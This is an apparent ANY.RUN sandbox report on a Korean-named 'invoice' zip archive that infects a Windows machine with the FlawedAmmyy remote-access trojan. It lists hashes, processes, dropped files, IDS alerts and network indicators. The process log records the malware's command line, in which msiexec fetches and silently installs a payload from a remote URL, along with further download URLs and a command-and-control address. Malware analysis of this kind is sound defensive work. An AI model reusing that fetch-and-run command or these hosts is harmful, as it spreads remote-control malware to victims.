analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

인보이스 18-02-2019.zip

Full analysis: https://app.any.run/tasks/5383d598-5436-4e50-b50f-aee4543df49f
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Malware Trends Tracker     >>>
Analysis date: February 19, 2019, 13:37:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
exe-to-msi
loader
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

0C73F85BDD52661172E39E1A9F26D56C

SHA1:

8CA1C87F184C1A9BFC48AC6254E2DE973DB2C8ED

SHA256:

D1DC0AD599A5027467834D77A81D563AD8C49CAFB6AF4A8A092104A8530AED1B

SSDEEP:

768:klCRZJrbX2LZHK880rIzrqgMhaUwYZEU+4KYWBorLRq9J:bxbX2LA88XifanYZECKNqPRo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1860)

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 1860)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3552)

    • Loads the Task Scheduler COM API

      • MSI567F.tmp (PID: 3844)

    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 1836)
      • wsus.exe (PID: 3624)

    • Loads the Task Scheduler DLL interface

      • MSI567F.tmp (PID: 3844)

    • Changes the autorun value in the registry

      • MSI567F.tmp (PID: 3844)

    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 1836)

    • Connects to CnC server

      • wsus.exe (PID: 1836)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3552)
      • MSI567F.tmp (PID: 3844)

    • Creates files in the program directory

      • MSI567F.tmp (PID: 3844)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3552)

    • Starts CMD.EXE for commands execution

      • MSI567F.tmp (PID: 3844)

    • Creates files in the Windows directory

      • MSI567F.tmp (PID: 3844)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1860)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1860)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3552)

    • Application was dropped or rewritten from another process

      • MSI567F.tmp (PID: 3844)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3552)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
9
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs winword.exe no specs msiexec.exe no specs msiexec.exe msi567f.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs cmd.exe no specs wsus.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2960"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\인보이스 18-02-2019.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
1860"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\인보이스 18-02-2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2160"C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://blossomtel.com/~mgarrett456/logo /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3552C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3844"C:\Windows\Installer\MSI567F.tmp"C:\Windows\Installer\MSI567F.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
1836"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSI567F.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3768"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI567F.tmp >> NULC:\Windows\system32\cmd.exe—MSI567F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3512"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI567F.tmp >> NULC:\Windows\system32\cmd.exe—MSI567F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3624"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exe—taskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
Total events
1 605
Read events
1 137
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
7
Text files
11
Unknown types
8

Dropped files

PID
Process
Filename
Type
2960WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2960.49620\인보이스 18-02-2019.doc —
MD5:—
SHA256:—
1860WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4083.tmp.cvr —
MD5:—
SHA256:—
1860WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF7A07EEF8537E39D9.TMP —
MD5:—
SHA256:—
1860WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF91C093898BBDB8AB.TMP —
MD5:—
SHA256:—
1860WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF4FCAEF476C9D1427.TMP —
MD5:—
SHA256:—
3552msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF5B43E173D5DB35D9.TMP —
MD5:—
SHA256:—
1860WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\인보이스 18-02-2019.doc.LNKlnk
MD5:C15B2A24CE1E68BCE6F921D07656FFF3
SHA256:9A894530F0D795992B8BBE8E8B3C9CB93841E9B1426725C47DBFF7B894C0507E
1860WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:2D496A1E1E76FA100F044FA60F67DD86
SHA256:DED94C9D2519C10F7656E3A842B4F51ADE55880EC937CB5438FDD945579ED415
1860WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:E40D6C1FA8DAF10713676BFEF5C7E1CC
SHA256:D14DA776F7D390EAFF2D28389EC42C6E20ECF9F9EF4DA860B57AD273EE04A2AD
3552msiexec.exeC:\Config.Msi\215555.rbs —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
7
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3552
msiexec.exe
GET
200
107.152.63.32:80
http://blossomtel.com/~mgarrett456/logo
US
executable
168 Kb
suspicious
3844
MSI567F.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3552
msiexec.exe
107.152.63.32:80
blossomtel.com
Blossom Telephone Company
US
suspicious
3844
MSI567F.tmp
185.17.120.235:80
—
Leaseweb Deutschland GmbH
RU
suspicious
1836
wsus.exe
185.99.133.2:80
—
Zappie Host LLC
NZ
malicious

DNS requests

Domain
IP
Reputation
blossomtel.com
  • 107.152.63.32
suspicious

Threats

PID
Process
Class
Message
3552
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3552
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
1836
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1 ETPRO signatures available at the full report
Process
Message
MSI567F.tmp
C:\ProgramData\Microsofts Help\template_12ae330.DATAHASH
MSI567F.tmp
--End Dowload--
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
인보이스 18-02-2019.zip